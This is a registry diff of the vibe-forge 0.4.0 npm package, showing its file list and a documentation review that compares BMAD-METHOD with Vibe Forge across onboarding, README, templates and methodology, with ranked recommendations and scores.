@sugar-crash-studios/vibe-forge 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude/commands/clear-attention.md +63 -0
- package/.claude/commands/compact-context.md +52 -0
- package/.claude/commands/configure-vcs.md +102 -0
- package/.claude/commands/forge.md +171 -0
- package/.claude/commands/need-help.md +77 -0
- package/.claude/commands/update-status.md +64 -0
- package/.claude/commands/worker-loop.md +106 -0
- package/.claude/hooks/worker-loop.js +198 -0
- package/.claude/scripts/setup-worker-loop.sh +45 -0
- package/.claude/settings.local.json +46 -0
- package/LICENSE +21 -0
- package/README.md +238 -0
- package/agents/aegis/personality.md +294 -0
- package/agents/anvil/personality.md +276 -0
- package/agents/architect/personality.md +258 -0
- package/agents/crucible/personality.md +360 -0
- package/agents/ember/personality.md +291 -0
- package/agents/forge-master/capabilities.md +144 -0
- package/agents/forge-master/context-template.md +128 -0
- package/agents/forge-master/personality.md +138 -0
- package/agents/furnace/personality.md +340 -0
- package/agents/herald/personality.md +247 -0
- package/agents/loki/personality.md +108 -0
- package/agents/oracle/personality.md +283 -0
- package/agents/pixel/personality.md +113 -0
- package/agents/planning-hub/personality.md +320 -0
- package/agents/scribe/personality.md +251 -0
- package/agents/temper/personality.md +218 -0
- package/bin/cli.js +375 -0
- package/bin/dashboard/api/agents.js +333 -0
- package/bin/dashboard/api/dispatch.js +483 -0
- package/bin/dashboard/api/tasks.js +416 -0
- package/bin/dashboard/frontend/index.html +13 -0
- package/bin/dashboard/frontend/package.json +16 -0
- package/bin/dashboard/frontend/src/App.svelte +222 -0
- package/bin/dashboard/frontend/src/app.css +1777 -0
- package/bin/dashboard/frontend/src/lib/components/AgentCard.svelte +60 -0
- package/bin/dashboard/frontend/src/lib/components/AgentsPanel.svelte +57 -0
- package/bin/dashboard/frontend/src/lib/components/DispatchModal.svelte +180 -0
- package/bin/dashboard/frontend/src/lib/components/Footer.svelte +33 -0
- package/bin/dashboard/frontend/src/lib/components/Header.svelte +84 -0
- package/bin/dashboard/frontend/src/lib/components/IssueCard.svelte +33 -0
- package/bin/dashboard/frontend/src/lib/components/IssuesPanel.svelte +73 -0
- package/bin/dashboard/frontend/src/lib/components/KeyboardShortcutsModal.svelte +108 -0
- package/bin/dashboard/frontend/src/lib/components/MobileTabs.svelte +52 -0
- package/bin/dashboard/frontend/src/lib/components/NotificationCard.svelte +60 -0
- package/bin/dashboard/frontend/src/lib/components/NotificationsPanel.svelte +44 -0
- package/bin/dashboard/frontend/src/lib/components/TaskCard.svelte +63 -0
- package/bin/dashboard/frontend/src/lib/components/TasksPanel.svelte +82 -0
- package/bin/dashboard/frontend/src/lib/components/Toast.svelte +45 -0
- package/bin/dashboard/frontend/src/lib/stores/agents.js +34 -0
- package/bin/dashboard/frontend/src/lib/stores/issues.js +54 -0
- package/bin/dashboard/frontend/src/lib/stores/notifications.js +48 -0
- package/bin/dashboard/frontend/src/lib/stores/tasks.js +63 -0
- package/bin/dashboard/frontend/src/lib/stores/theme.js +33 -0
- package/bin/dashboard/frontend/src/lib/stores/toast.js +35 -0
- package/bin/dashboard/frontend/src/lib/stores/ui.js +25 -0
- package/bin/dashboard/frontend/src/lib/stores/voice.js +275 -0
- package/bin/dashboard/frontend/src/lib/stores/websocket.js +295 -0
- package/bin/dashboard/frontend/src/lib/utils/api.js +101 -0
- package/bin/dashboard/frontend/src/lib/utils/formatters.js +54 -0
- package/bin/dashboard/frontend/src/main.js +9 -0
- package/bin/dashboard/frontend/svelte.config.js +5 -0
- package/bin/dashboard/frontend/vite.config.js +20 -0
- package/bin/dashboard/public/assets/index-DnfVj9Ce.css +1 -0
- package/bin/dashboard/public/assets/index-Ze5h0kXQ.js +2 -0
- package/bin/dashboard/public/index.html +14 -0
- package/bin/dashboard/server.js +566 -0
- package/bin/forge-daemon.sh +463 -0
- package/bin/forge-setup.sh +645 -0
- package/bin/forge-spawn.sh +164 -0
- package/bin/forge.cmd +83 -0
- package/bin/forge.sh +533 -0
- package/bin/lib/agents.sh +177 -0
- package/bin/lib/colors.sh +44 -0
- package/bin/lib/config.sh +347 -0
- package/bin/lib/constants.sh +241 -0
- package/bin/lib/daemon/display.sh +128 -0
- package/bin/lib/daemon/notifications.sh +263 -0
- package/bin/lib/daemon/routing.sh +77 -0
- package/bin/lib/daemon/state.sh +115 -0
- package/bin/lib/daemon/sync.sh +95 -0
- package/bin/lib/database.sh +310 -0
- package/bin/lib/heimdall-setup.js +113 -0
- package/bin/lib/heimdall.js +265 -0
- package/bin/lib/json.sh +264 -0
- package/bin/lib/terminal.js +451 -0
- package/bin/lib/util.sh +126 -0
- package/bin/lib/vcs.js +349 -0
- package/config/agent-manifest.yaml +203 -0
- package/config/agents.json +168 -0
- package/config/task-template.md +159 -0
- package/config/task-types.yaml +106 -0
- package/context/agent-status/aegis.json +7 -0
- package/context/agent-status/anvil.json +7 -0
- package/context/agent-status/architect.json +7 -0
- package/context/agent-status/crucible.json +7 -0
- package/context/agent-status/ember.json +7 -0
- package/context/agent-status/furnace.json +7 -0
- package/context/agent-status/loki.json +7 -0
- package/context/agent-status/oracle.json +7 -0
- package/context/agent-status/pixel.json +7 -0
- package/context/agent-status/planning-hub.json +7 -0
- package/context/agent-status/scribe.json +7 -0
- package/context/agent-status/temper.json +7 -0
- package/context/feature-brainstorm.md +426 -0
- package/context/forge-state.yaml +19 -0
- package/context/modern-conventions.md +129 -0
- package/context/project-context-template.md +122 -0
- package/context/project-context.md +122 -0
- package/docs/TODO.md +150 -0
- package/docs/agents.md +409 -0
- package/docs/architecture/decisions/ADR-001-daemon-modularization.md +122 -0
- package/docs/architecture/vibe-lab-integration.md +684 -0
- package/docs/architecture.md +194 -0
- package/docs/bmad-gap-analysis-2026-03-31.md +444 -0
- package/docs/cleanup-workflow.md +329 -0
- package/docs/commands.md +451 -0
- package/docs/dashboard-mockup.html +989 -0
- package/docs/getting-started.md +261 -0
- package/docs/integration/forge-ownership-policy.md +112 -0
- package/docs/npm-publishing.md +132 -0
- package/docs/roadmap-2026.md +519 -0
- package/docs/security.md +144 -0
- package/docs/wireframes/dashboard-mvp.md +1164 -0
- package/docs/workflows/README.md +32 -0
- package/docs/workflows/azure-devops.md +108 -0
- package/docs/workflows/bitbucket.md +104 -0
- package/docs/workflows/git-only.md +130 -0
- package/docs/workflows/gitea.md +168 -0
- package/docs/workflows/github.md +103 -0
- package/docs/workflows/gitlab.md +105 -0
- package/docs/workflows.md +454 -0
- package/package.json +73 -0
- package/tasks/completed/ARCH-001-duplicate-agent-config.md +121 -0
- package/tasks/completed/ARCH-002-mixed-bash-node-implementation.md +88 -0
- package/tasks/completed/ARCH-003-worker-loop-hook-duplication.md +77 -0
- package/tasks/completed/ARCH-009-test-organization.md +78 -0
- package/tasks/completed/ARCH-011-jq-vs-nodejs-json.md +94 -0
- package/tasks/completed/ARCH-012-tmp-files-in-root.md +71 -0
- package/tasks/completed/ARCH-013-exit-code-constants.md +65 -0
- package/tasks/completed/ARCH-014-sed-incompatibility.md +96 -0
- package/tasks/completed/ARCH-015-docs-todo-tracking.md +83 -0
- package/tasks/completed/BUG-dash-001-tasks-filter-error.md +31 -0
- package/tasks/completed/BUG-dash-002-agents-unknown.md +41 -0
- package/tasks/completed/CLEAN-001.md +38 -0
- package/tasks/completed/CLEAN-002.md +43 -0
- package/tasks/completed/CLEAN-003.md +47 -0
- package/tasks/completed/CLEAN-004.md +56 -0
- package/tasks/completed/CLEAN-005.md +75 -0
- package/tasks/completed/CLEAN-006.md +47 -0
- package/tasks/completed/CLEAN-007.md +34 -0
- package/tasks/completed/CLEAN-008.md +49 -0
- package/tasks/completed/CLEAN-012.md +58 -0
- package/tasks/completed/CLEAN-013.md +45 -0
- package/tasks/completed/FEATURE-001a-dashboard-wireframes.md +162 -0
- package/tasks/completed/IMPL-007a-daemon-notifications-module.md +82 -0
- package/tasks/completed/IMPL-007b-daemon-sync-module.md +71 -0
- package/tasks/completed/IMPL-007c-daemon-state-module.md +80 -0
- package/tasks/completed/IMPL-007d-daemon-routing-module.md +77 -0
- package/tasks/completed/IMPL-007e-daemon-display-module.md +77 -0
- package/tasks/completed/IMPL-007f-daemon-integration.md +124 -0
- package/tasks/completed/PLAT-1-heimdall.md +420 -0
- package/tasks/completed/SEC-001-sql-injection-fix.md +58 -0
- package/tasks/completed/SEC-002-notification-injection-fix.md +45 -0
- package/tasks/completed/SEC-003-eval-injection-fix.md +54 -0
- package/tasks/completed/SEC-004-pid-race-condition-fix.md +49 -0
- package/tasks/completed/SEC-005-worker-loop-path-fix.md +51 -0
- package/tasks/completed/SEC-006-eval-agent-names.md +55 -0
- package/tasks/completed/SEC-007-spawn-escaping.md +67 -0
- package/tasks/completed/TASK-DASH-001-server-infrastructure.md +185 -0
- package/tasks/completed/TASK-anvil-001-dashboard-frontend.md +133 -0
- package/tasks/completed/review-bmad-aegis.md +89 -0
- package/tasks/completed/review-bmad-anvil.md +80 -0
- package/tasks/completed/review-bmad-crucible.md +81 -0
- package/tasks/completed/review-bmad-ember.md +90 -0
- package/tasks/completed/review-bmad-furnace.md +79 -0
- package/tasks/completed/review-bmad-pixel.md +82 -0
- package/tasks/completed/review-bmad-scribe.md +92 -0
- package/tasks/completed/review-bmad-sentinel.md +83 -0
- package/tasks/pending/ARCH-004-git-bash-detection-duplication.md +72 -0
- package/tasks/pending/ARCH-005-missing-src-directory.md +95 -0
- package/tasks/pending/ARCH-006-task-template-location.md +64 -0
- package/tasks/pending/ARCH-008-forge-master-vs-hub.md +81 -0
- package/tasks/pending/ARCH-010-missing-index-files.md +84 -0
- package/tasks/pending/CLEAN-009.md +31 -0
- package/tasks/pending/CLEAN-010.md +30 -0
- package/tasks/pending/CLEAN-011.md +30 -0
- package/tasks/pending/CLEAN-014.md +32 -0
- package/tasks/pending/DESIGN-dash-001-layout-review.md +45 -0
- package/tasks/pending/FEATURE-001-dashboard-mvp.md +268 -0
- package/tasks/review/ARCH-007-daemon-monolith.md +162 -0
- package/tasks/review/bmad-review-aegis.md +349 -0
- package/tasks/review/bmad-review-anvil.md +259 -0
- package/tasks/review/bmad-review-crucible.md +277 -0
- package/tasks/review/bmad-review-ember.md +307 -0
- package/tasks/review/bmad-review-furnace.md +285 -0
- package/tasks/review/bmad-review-pixel.md +329 -0
- package/tasks/review/bmad-review-scribe.md +361 -0
- package/tasks/review/bmad-review-sentinel.md +242 -0
- package/tasks/review/task-001.md +78 -0
|
@@ -0,0 +1,361 @@
|
|
|
1
|
+
# BMAD vs Vibe Forge: Documentation Quality Review
|
|
2
|
+
|
|
3
|
+
**Reviewer:** Scribe (📜 Documentation Specialist)
|
|
4
|
+
**Date:** 2026-03-31
|
|
5
|
+
**Task:** review-bmad-scribe
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## Executive Summary
|
|
10
|
+
|
|
11
|
+
Both frameworks accomplish their core mission, but they target documentation quality from different angles. **BMAD-METHOD reads like a professional product** -- polished, methodology-forward, multilingual, with a full docs site. **Vibe Forge reads like a capable tool still maturing its narrative** -- technically solid, good coverage of commands and agents, but missing the conceptual scaffolding that helps newcomers understand *why* to use it, not just *how*.
|
|
12
|
+
|
|
13
|
+
The single most important gap: Vibe Forge has no methodology document. BMAD dedicates significant space to explaining the philosophy of human-AI collaboration. Vibe Forge's README jumps straight to agents and commands without explaining what problem the framework is solving for the reader.
|
|
14
|
+
|
|
15
|
+
---
|
|
16
|
+
|
|
17
|
+
## 1. Onboarding Experience Comparison
|
|
18
|
+
|
|
19
|
+
### BMAD-METHOD
|
|
20
|
+
|
|
21
|
+
| Aspect | Quality | Notes |
|
|
22
|
+
|--------|---------|-------|
|
|
23
|
+
| First impression | ⭐⭐⭐⭐⭐ | README opens with a philosophy statement before a single command |
|
|
24
|
+
| Quick start | ⭐⭐⭐⭐⭐ | `npx bmad-method install` -- one command |
|
|
25
|
+
| Scope clarity | ⭐⭐⭐⭐⭐ | "Scale-Domain-Adaptive planning depth (bug fix to enterprise)" -- immediately answers "is this for me?" |
|
|
26
|
+
| User skill level | ⭐⭐⭐⭐⭐ | `user_skill_level` config (beginner/intermediate/expert) -- agents adapt explanations accordingly |
|
|
27
|
+
| Getting started docs | ⭐⭐⭐⭐ | Dedicated tutorial at `docs/tutorials/getting-started.md` |
|
|
28
|
+
| First project walkthrough | ⭐⭐⭐⭐ | Workflow map shows exactly what each phase produces |
|
|
29
|
+
|
|
30
|
+
BMAD immediately answers: *"What is this? Who is it for? How do I start? What will I get?"*
|
|
31
|
+
|
|
32
|
+
### Vibe Forge
|
|
33
|
+
|
|
34
|
+
| Aspect | Quality | Notes |
|
|
35
|
+
|--------|---------|-------|
|
|
36
|
+
| First impression | ⭐⭐⭐⭐ | Good ASCII diagram, appealing vision statement |
|
|
37
|
+
| Quick start | ⭐⭐⭐⭐ | `npx vibe-forge init` -- one command, but prerequisites are listed above it |
|
|
38
|
+
| Scope clarity | ⭐⭐⭐ | "Multi-agent development orchestration system" -- descriptive but doesn't explain the problem it solves |
|
|
39
|
+
| User skill level | ⭐⭐ | No skill-level adaptation in docs or agent behavior |
|
|
40
|
+
| Getting started docs | ⭐⭐⭐⭐ | `docs/getting-started.md` is thorough and well-structured |
|
|
41
|
+
| First project walkthrough | ⭐⭐⭐ | Example workflow exists but is abstract (no concrete feature being built) |
|
|
42
|
+
|
|
43
|
+
**Key gap:** Vibe Forge assumes the reader already understands why multi-agent development is valuable. There's no "here's the problem this solves" moment.
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## 2. README Quality Comparison
|
|
48
|
+
|
|
49
|
+
### BMAD README
|
|
50
|
+
|
|
51
|
+
**Strengths:**
|
|
52
|
+
- Opens with a philosophy statement that immediately differentiates from plain AI tools
|
|
53
|
+
- Structured: Philosophy → Quick Start → Modules → Agents → Links
|
|
54
|
+
- Includes Chinese translation (`README_CN.md`) -- international accessibility
|
|
55
|
+
- Lists all modules with purpose, code, and status
|
|
56
|
+
- Honest about scope ("34+ workflows")
|
|
57
|
+
- Links to full docs site
|
|
58
|
+
|
|
59
|
+
**Weaknesses:**
|
|
60
|
+
- Somewhat long -- advanced options like `--directory` and `--modules` flags appear in the quick start, which is noisy for beginners
|
|
61
|
+
|
|
62
|
+
### Vibe Forge README
|
|
63
|
+
|
|
64
|
+
**Strengths:**
|
|
65
|
+
- Visual architecture diagram is excellent -- immediately shows the system topology
|
|
66
|
+
- Agent table is clear and scannable
|
|
67
|
+
- Task lifecycle diagram explains the workflow visually
|
|
68
|
+
- Token efficiency section is a differentiator worth highlighting more
|
|
69
|
+
|
|
70
|
+
**Weaknesses:**
|
|
71
|
+
- No problem statement. Opens with description, not motivation.
|
|
72
|
+
- Agent table lists all agents but doesn't explain which ones a beginner should start with
|
|
73
|
+
- "Planning Hub Agents" vs "Worker Agents" vs "Specialists" distinction is not clearly explained
|
|
74
|
+
- No links to the docs site (if one exists) or further reading beyond the README itself
|
|
75
|
+
- The Acknowledgments section mentions BMAD as an inspiration but doesn't explain the relationship clearly
|
|
76
|
+
|
|
77
|
+
**Recommendation:** Add a "Why Vibe Forge?" section before the Quick Start. 2-3 sentences explaining what pain this solves and for whom.
|
|
78
|
+
|
|
79
|
+
---
|
|
80
|
+
|
|
81
|
+
## 3. Agent Documentation Comparison
|
|
82
|
+
|
|
83
|
+
### BMAD Agent Documentation
|
|
84
|
+
|
|
85
|
+
| Feature | BMAD | Vibe Forge |
|
|
86
|
+
|---------|------|------------|
|
|
87
|
+
| Agent persona names | Yes (Mary, Winston, Bob, etc.) | No -- agents use role names only |
|
|
88
|
+
| Communication style documented | Implied through persona | Explicit in personality.md files |
|
|
89
|
+
| "When to use" guidance | Via workflow map | Via agent selection table |
|
|
90
|
+
| Phase-based assignment | Yes (phases 1-4) | No explicit phase concept |
|
|
91
|
+
| Skill level adaptation | Yes | No |
|
|
92
|
+
|
|
93
|
+
BMAD's persona names (e.g., "Mary the Analyst") make agents memorable and easier to discuss in team settings. When a developer says "ask Bob to create the sprint plan," it's more natural than "use the Scrum Master agent."
|
|
94
|
+
|
|
95
|
+
### Vibe Forge Agent Documentation
|
|
96
|
+
|
|
97
|
+
The `docs/agents.md` file is genuinely strong:
|
|
98
|
+
- Each agent has: role, type, aliases, communication style, principles, spawn command, example tasks
|
|
99
|
+
- The agent selection guide table is a standout feature -- quick reference for "which agent for which scenario"
|
|
100
|
+
- Personality.md files give deep character definition
|
|
101
|
+
|
|
102
|
+
**Gaps:**
|
|
103
|
+
- No "when NOT to use this agent" guidance for each agent
|
|
104
|
+
- Planning Hub agents (Sage, Oracle, Quartermaster) are documented as non-spawnable, but there's no explanation of *how* to engage them in a Planning Hub session
|
|
105
|
+
- No documentation on agent handoffs -- what happens when Anvil finishes and Sentinel should review?
|
|
106
|
+
- Agents that require approval (Aegis) are noted but the approval workflow is not documented
|
|
107
|
+
|
|
108
|
+
---
|
|
109
|
+
|
|
110
|
+
## 4. Template Completeness Comparison
|
|
111
|
+
|
|
112
|
+
### Task Template
|
|
113
|
+
|
|
114
|
+
**Vibe Forge task template (`config/task-template.md`)** is well-structured with:
|
|
115
|
+
- Frontmatter (id, type, priority, status, assigned_to, blocked_by, depends_on)
|
|
116
|
+
- Context section with relevant files and dependencies
|
|
117
|
+
- Acceptance criteria with checkboxes
|
|
118
|
+
- Agent instructions with boundaries
|
|
119
|
+
- Output expected
|
|
120
|
+
- Completion summary
|
|
121
|
+
|
|
122
|
+
**BMAD story template** (from `bmad-dev-story`) generates:
|
|
123
|
+
- User story narrative in "As a [user], I want [goal] so that [reason]" format
|
|
124
|
+
- Acceptance criteria (Given/When/Then format -- BDD style)
|
|
125
|
+
- Technical notes
|
|
126
|
+
- Implementation checklist
|
|
127
|
+
- Test requirements
|
|
128
|
+
|
|
129
|
+
**Gaps in Vibe Forge task template:**
|
|
130
|
+
|
|
131
|
+
| Field | BMAD Has It | Vibe Forge Has It | Impact |
|
|
132
|
+
|-------|-------------|-------------------|--------|
|
|
133
|
+
| Story points / effort estimate | Via sprint planning | `estimated_complexity` only | Low |
|
|
134
|
+
| BDD acceptance criteria (Given/When/Then) | Yes | Checkbox style only | Medium |
|
|
135
|
+
| "Definition of Done" checklist | Yes (via story) | Only for specific tasks | Medium |
|
|
136
|
+
| Rollback plan (for risky changes) | Via architecture | Not in task template | Medium |
|
|
137
|
+
| Related documentation links | Yes | Not standard | Low |
|
|
138
|
+
|
|
139
|
+
### Project Context Template
|
|
140
|
+
|
|
141
|
+
**Vibe Forge `context/project-context-template.md`** contains the right sections (tech stack, file structure, coding standards, key decisions, environment) but every value is a placeholder. The template offers no guidance on *why* each section matters or what makes a good answer.
|
|
142
|
+
|
|
143
|
+
**BMAD `bmad-generate-project-context`** generates context from actual code analysis rather than requiring manual fill-in.
|
|
144
|
+
|
|
145
|
+
**Gaps in Vibe Forge project context template:**
|
|
146
|
+
|
|
147
|
+
1. No section for **deployment targets** (Where does this run? Cloud? On-prem? Edge?)
|
|
148
|
+
2. No section for **team conventions** (PR size limits, review turnaround expectations, branch naming)
|
|
149
|
+
3. No section for **release cadence** (How often do you ship? Continuous? Sprint-based?)
|
|
150
|
+
4. No section for **external dependencies** (third-party APIs, SLAs, rate limits)
|
|
151
|
+
5. No section for **non-functional requirements** (performance targets, accessibility standards, browser support)
|
|
152
|
+
6. No guidance text explaining what belongs in each section
|
|
153
|
+
7. No example of a filled-out context file
|
|
154
|
+
8. Missing agent-specific sections for: Herald (release process), Ember (CI/CD details), Aegis (security standards)
|
|
155
|
+
|
|
156
|
+
---
|
|
157
|
+
|
|
158
|
+
## 5. Example Projects
|
|
159
|
+
|
|
160
|
+
**BMAD:** Has a dedicated workflow for generating project context from existing code (`bmad-generate-project-context`). The workflow map serves as an implicit example by showing concrete artifacts produced at each step.
|
|
161
|
+
|
|
162
|
+
**Vibe Forge:** No example project. The getting-started guide uses "Add user authentication" as an example task but doesn't show a complete session.
|
|
163
|
+
|
|
164
|
+
**Recommendation:** Create `docs/examples/` with at minimum one complete example:
|
|
165
|
+
- A fictitious project (e.g., a todo API)
|
|
166
|
+
- A filled-out `project-context.md` for it
|
|
167
|
+
- 2-3 example task files showing different complexity levels
|
|
168
|
+
- A sample Planning Hub conversation showing how tasks get created
|
|
169
|
+
|
|
170
|
+
---
|
|
171
|
+
|
|
172
|
+
## 6. Concept/Methodology Documentation
|
|
173
|
+
|
|
174
|
+
### BMAD
|
|
175
|
+
|
|
176
|
+
BMAD's README opens with its philosophy before any commands:
|
|
177
|
+
|
|
178
|
+
> "Traditional AI tools do the thinking for you, producing average results. BMad agents and facilitated workflows act as expert collaborators who guide you through a structured process to bring out your best thinking in partnership with the AI."
|
|
179
|
+
|
|
180
|
+
This statement immediately explains:
|
|
181
|
+
- The problem (AI doing all the thinking produces average results)
|
|
182
|
+
- The solution (collaborative workflows)
|
|
183
|
+
- The benefit (brings out *your* best thinking)
|
|
184
|
+
|
|
185
|
+
BMAD also documents a clear 4-phase methodology with specific workflows and artifacts for each phase.
|
|
186
|
+
|
|
187
|
+
### Vibe Forge
|
|
188
|
+
|
|
189
|
+
Vibe Forge has no methodology document. The README describes the system but not the practice. Missing:
|
|
190
|
+
|
|
191
|
+
1. **What is "vibe coding"?** -- The tool is called "Vibe Forge" and targets "vibe coding" but this term is never defined
|
|
192
|
+
2. **When should I spawn a worker vs use the Planning Hub directly?** -- The decision criteria are not documented
|
|
193
|
+
3. **What is a typical day/session?** -- The getting-started guide has an "Example Workflow" but it's a bulleted list, not a narrative
|
|
194
|
+
4. **How does Vibe Forge change how I work?** -- The philosophy section in the README exists but is thin
|
|
195
|
+
|
|
196
|
+
**Recommendation:** Add `docs/methodology.md` that explains:
|
|
197
|
+
- What vibe coding is and why multi-agent development helps
|
|
198
|
+
- The decision framework: when to use Planning Hub, when to spawn workers, when to use worker-loop
|
|
199
|
+
- The collaboration model: human as product owner, agents as specialists
|
|
200
|
+
- How to think about task granularity
|
|
201
|
+
|
|
202
|
+
---
|
|
203
|
+
|
|
204
|
+
## 7. In-Code Documentation
|
|
205
|
+
|
|
206
|
+
### Vibe Forge
|
|
207
|
+
|
|
208
|
+
- Agent `personality.md` files are detailed and serve as comprehensive definitions
|
|
209
|
+
- `config/agents.json` is machine-readable but lacks inline comments (JSON doesn't support them; a companion README or schema file would help)
|
|
210
|
+
- Shell scripts in `bin/` -- not reviewed but the architecture doc explains the rationale for each
|
|
211
|
+
- No documented schema for task frontmatter beyond the template itself
|
|
212
|
+
|
|
213
|
+
### BMAD
|
|
214
|
+
|
|
215
|
+
- `module.yaml` is self-documenting with inline comments per field
|
|
216
|
+
- Workflow files contain explanatory text about what each step produces
|
|
217
|
+
- Each skill directory contains a configuration that explains its purpose
|
|
218
|
+
|
|
219
|
+
**Gap:** Vibe Forge has no documented schema file for task frontmatter. The `type`, `priority`, `estimated_complexity` fields each have valid values but they're only documented by example in the template. A `docs/reference/task-schema.md` would help.
|
|
220
|
+
|
|
221
|
+
---
|
|
222
|
+
|
|
223
|
+
## 8. Documentation Architecture
|
|
224
|
+
|
|
225
|
+
### BMAD
|
|
226
|
+
|
|
227
|
+
BMAD uses the **Diátaxis framework** (explicitly or implicitly):
|
|
228
|
+
- `docs/tutorials/` -- learning-oriented (getting-started.md)
|
|
229
|
+
- `docs/how-to/` -- problem-oriented (upgrade guide, etc.)
|
|
230
|
+
- `docs/reference/` -- information-oriented (agents, commands, modules)
|
|
231
|
+
- `docs/explanation/` -- understanding-oriented (conceptual docs)
|
|
232
|
+
|
|
233
|
+
This organization means a reader always knows where to look based on what kind of help they need.
|
|
234
|
+
|
|
235
|
+
### Vibe Forge
|
|
236
|
+
|
|
237
|
+
Vibe Forge's `docs/` directory has good coverage but flat organization:
|
|
238
|
+
|
|
239
|
+
```
|
|
240
|
+
docs/
|
|
241
|
+
├── agents.md # Reference
|
|
242
|
+
├── architecture.md # Explanation
|
|
243
|
+
├── commands.md # Reference
|
|
244
|
+
├── getting-started.md # Tutorial
|
|
245
|
+
├── workflows.md # How-to
|
|
246
|
+
└── security.md # Reference
|
|
247
|
+
```
|
|
248
|
+
|
|
249
|
+
This works at current scale but will become hard to navigate as the project grows.
|
|
250
|
+
|
|
251
|
+
**Recommendation:** Reorganize into Diátaxis structure or at minimum add a `docs/README.md` index that helps readers navigate to the right document for their need.
|
|
252
|
+
|
|
253
|
+
---
|
|
254
|
+
|
|
255
|
+
## 9. Root-Level Documentation Files
|
|
256
|
+
|
|
257
|
+
| File | BMAD Has It | Vibe Forge Has It |
|
|
258
|
+
|------|-------------|-------------------|
|
|
259
|
+
| README.md | Yes | Yes |
|
|
260
|
+
| CONTRIBUTING.md | Yes | No |
|
|
261
|
+
| CHANGELOG.md | Yes | No |
|
|
262
|
+
| SECURITY.md | Yes | Yes |
|
|
263
|
+
| TRADEMARK.md | Yes | No |
|
|
264
|
+
| LICENSE | Yes | Yes (implied) |
|
|
265
|
+
| AGENTS.md | Yes | No (equivalent in docs/agents.md) |
|
|
266
|
+
| README_CN.md | Yes | No |
|
|
267
|
+
|
|
268
|
+
**Missing files for Vibe Forge:**
|
|
269
|
+
- `CONTRIBUTING.md` -- How to contribute to the Vibe Forge framework itself
|
|
270
|
+
- `CHANGELOG.md` -- History of changes (especially important for a tool people depend on)
|
|
271
|
+
- `AGENTS.md` at root -- A GitHub convention for documenting AI agent behavior (Claude/Copilot integration)
|
|
272
|
+
|
|
273
|
+
---
|
|
274
|
+
|
|
275
|
+
## 10. Specific Improvement Recommendations
|
|
276
|
+
|
|
277
|
+
Ranked by impact to newcomer experience:
|
|
278
|
+
|
|
279
|
+
### P1 (High Impact)
|
|
280
|
+
|
|
281
|
+
1. **Add a "Why Vibe Forge?" section to README**
|
|
282
|
+
- 2-3 sentences on what problem it solves
|
|
283
|
+
- Who is it for (solo vibe coders, small teams?)
|
|
284
|
+
- What makes it different from just using Claude Code directly
|
|
285
|
+
|
|
286
|
+
2. **Add `docs/methodology.md`**
|
|
287
|
+
- Define "vibe coding" in this framework's context
|
|
288
|
+
- Document the decision framework for when to use which mode
|
|
289
|
+
- Explain the human role vs agent roles
|
|
290
|
+
|
|
291
|
+
3. **Fill out `context/project-context-template.md` with guidance text**
|
|
292
|
+
- Each section should have a comment explaining why it matters and what a good answer looks like
|
|
293
|
+
- Add an example filled-out template for a fictitious project
|
|
294
|
+
- Add missing sections: deployment targets, team conventions, NFRs
|
|
295
|
+
|
|
296
|
+
4. **Add `CONTRIBUTING.md`**
|
|
297
|
+
- How to add a new agent
|
|
298
|
+
- How to modify the task template
|
|
299
|
+
- PR expectations
|
|
300
|
+
|
|
301
|
+
### P2 (Medium Impact)
|
|
302
|
+
|
|
303
|
+
5. **Add `docs/reference/task-schema.md`**
|
|
304
|
+
- Document all valid values for `type`, `priority`, `estimated_complexity`, `status`
|
|
305
|
+
- Explain what `blocked_by` vs `depends_on` means semantically
|
|
306
|
+
- Show example tasks of different types
|
|
307
|
+
|
|
308
|
+
6. **Add a docs index at `docs/README.md`**
|
|
309
|
+
- "What kind of help do you need?" decision tree
|
|
310
|
+
- Links to each doc with one-line descriptions
|
|
311
|
+
|
|
312
|
+
7. **Document the agent handoff workflow**
|
|
313
|
+
- What triggers Sentinel to pick up a completed task?
|
|
314
|
+
- What does "needs-changes" flow look like end-to-end?
|
|
315
|
+
- Visual sequence diagram would help here
|
|
316
|
+
|
|
317
|
+
8. **Add `CHANGELOG.md`**
|
|
318
|
+
- Start from current state
|
|
319
|
+
- Format: Keep a Changelog (keepachangelog.com)
|
|
320
|
+
|
|
321
|
+
### P3 (Lower Impact, Quality of Life)
|
|
322
|
+
|
|
323
|
+
9. **Add "when NOT to use" guidance to each agent in docs/agents.md**
|
|
324
|
+
- Anvil: "Don't use for API design decisions -- use Planning Hub"
|
|
325
|
+
- Furnace: "Don't use for visual/UX decisions"
|
|
326
|
+
- Etc.
|
|
327
|
+
|
|
328
|
+
10. **Add a complete example project to `docs/examples/`**
|
|
329
|
+
- Filled-out project-context.md
|
|
330
|
+
- 2-3 example task files
|
|
331
|
+
- Example Planning Hub session transcript
|
|
332
|
+
|
|
333
|
+
11. **Add `AGENTS.md` at root level**
|
|
334
|
+
- GitHub convention for documenting AI agent behavior
|
|
335
|
+
- Lists all agents with their scope and boundaries
|
|
336
|
+
|
|
337
|
+
12. **Add `docs/reference/` structure for reference docs**
|
|
338
|
+
- Move commands, task schema, agent reference there
|
|
339
|
+
|
|
340
|
+
---
|
|
341
|
+
|
|
342
|
+
## Summary Table
|
|
343
|
+
|
|
344
|
+
| Documentation Area | BMAD Score | Vibe Forge Score | Gap |
|
|
345
|
+
|-------------------|-----------|-----------------|-----|
|
|
346
|
+
| Onboarding speed | 9/10 | 7/10 | Missing "why" |
|
|
347
|
+
| README quality | 9/10 | 8/10 | No problem statement |
|
|
348
|
+
| Methodology docs | 10/10 | 4/10 | No methodology doc |
|
|
349
|
+
| Agent documentation | 8/10 | 8/10 | Roughly equal |
|
|
350
|
+
| Template completeness | 9/10 | 6/10 | Context template needs work |
|
|
351
|
+
| Example projects | 7/10 | 3/10 | No examples |
|
|
352
|
+
| In-code docs | 8/10 | 7/10 | Missing schema docs |
|
|
353
|
+
| Documentation architecture | 9/10 | 6/10 | Flat structure, no index |
|
|
354
|
+
| Root-level files | 10/10 | 6/10 | Missing CONTRIBUTING, CHANGELOG |
|
|
355
|
+
| **Overall** | **88/100** | **63/100** | **25 point gap** |
|
|
356
|
+
|
|
357
|
+
The gap is real but closeable. Vibe Forge's core documentation is already solid -- commands.md and agents.md are genuinely good reference docs. The deficit is almost entirely in conceptual/methodology documentation and template quality. That's a documentation problem, not a feature problem.
|
|
